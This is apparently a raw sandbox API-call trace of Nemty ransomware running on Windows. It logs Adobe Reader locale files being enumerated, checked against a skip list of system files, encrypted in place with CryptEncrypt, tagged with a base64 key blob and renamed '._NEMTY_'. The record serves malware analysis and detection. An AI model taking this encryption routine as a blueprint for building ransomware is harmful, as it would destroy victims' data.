(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.UKR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.248] Sleep (dwMilliseconds=0x5) [0185.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22128e30, dwHighDateTime=0x1d561e8)) [0185.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22128e30, dwHighDateTime=0x1d561e8)) [0185.263] GetLastError () returned 0x0 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.264] GetLastError () returned 0x0 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.264] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.264] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.264] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.264] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="GVDZqfJIHtJytuAn8lnyysyU501bsj+QrUHM1yHfdea15jv5zD+zz9YILtMQWwxH\r\nTeu3pY8QDNH6o3Yvh4h0HY5Y4e0rdr9QG6p9VQeFq/Zz1gC1M7S1ut5Y7AueHEUJ\r\nTwb7IuotCqLP5u4l3Ycs5HJXlBjAnbTcXDOba33k67rM11w28ZiF0K8DSV1GCkz+\r\n3jlJaxw3IFjREsuZSRE04ySYtSYxJNtTgxQ2aFgqbt6Q5i3mQNMJ0yej1yquERxy\r\n6nZ1cb7KBooYIpccOdiGWK8w/sJgeP5U0e/nD/yLOh8tPc0Bw8JEnngpmtSytiPp\r\nhMbyvth9/yxl3/Brf+c+Uw==\r\n", pcchString=0x653e5dc) returned 1 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\acroform.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.265] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=415232) returned 1 [0185.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.265] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.265] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.274] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.274] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.275] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=415232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x65600 [0185.275] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.276] CloseHandle (hObject=0x2e8) returned 1 [0185.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.277] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\acroform.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\acroform.ukr._nemty_kgobjgd_")) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.277] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.UKR", cAlternateFileName="ADOBEC~1.UKR")) returned 1 [0185.277] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2=".") returned 1 [0185.277] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="..") returned 1 [0185.277] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="...") returned 1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="windows") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="rsa") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="NTDETECT.COM") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="ntldr") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="MSDOS.SYS") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="IO.SYS") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="boot.ini") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="boot.ini") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="AUTOEXEC.BAT") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="ntuser.dat") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="desktop.ini") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="CONFIG.SYS") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="RECYCLER") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="BOOTSECT.BAK") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="bootmgr") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="programdata") returned -1 [0185.278] lstrcmpiW (lpString1="AdobeCollabSync.UKR", lpString2="appdata") returned -1 [0185.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.UKR", lpUsedDefaultChar=0x0) returned 19 [0185.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0185.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.UKR", lpUsedDefaultChar=0x0) returned 19 [0185.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0185.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.UKR", lpUsedDefaultChar=0x0) returned 19 [0185.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.UKR", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.UKR", lpUsedDefaultChar=0x0) returned 19 [0185.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0185.279] Sleep (dwMilliseconds=0x5) [0185.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x221750f0, dwHighDateTime=0x1d561e8)) [0185.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x221750f0, dwHighDateTime=0x1d561e8)) [0185.295] GetLastError () returned 0x0 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.295] GetLastError () returned 0x0 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.295] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0185.295] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="3mKVNnBzjuHikzQLoYmOYdLBmFfanUtMtgGW4ipjpk1Qbrrw8fKyMFtU1Bm7HI/K\r\nU6NIkEtCa6f7qqESOYElNdAOd/ZRXfOlVPhQWfI7ByIKMnni6qqrgRc4mCqF3YAn\r\nLwaCcGAcioPN2JFUZwgZldT3Zsic1U7X51a8x1jA234uZzpuBaXS759l9jZj0equ\r\nhfsLB4nmUY3ti/eUgAINLJbToVZ7wgreX7dpaQB9P5KFwAkP0S/2XswzmM1OFqzZ\r\nLrfm0gdzDCmPPmPM8IPvEzedepvKY+HXOe/gvTBwPsI/l8E+PVLMgoe9/iUxI+6y\r\nt/5aqWm8ymKwzznsbQUb1g==\r\n", pcchString=0x653e5dc) returned 1 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0185.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\adobecollabsync.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.296] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0185.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0185.296] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.296] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0185.298] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.298] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0185.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.298] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0185.298] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.298] CloseHandle (hObject=0x2e8) returned 1 [0185.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0185.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0185.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0185.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0185.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.298] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\adobecollabsync.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\adobecollabsync.ukr._nemty_kgobjgd_")) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.299] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7aa00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.UKR", cAlternateFileName="")) returned 1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2=".") returned 1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="..") returned 1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="...") returned 1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="windows") returned -1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="rsa") returned -1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="NTDETECT.COM") returned -1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="ntldr") returned -1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="MSDOS.SYS") returned -1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="IO.SYS") returned -1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="boot.ini") returned -1 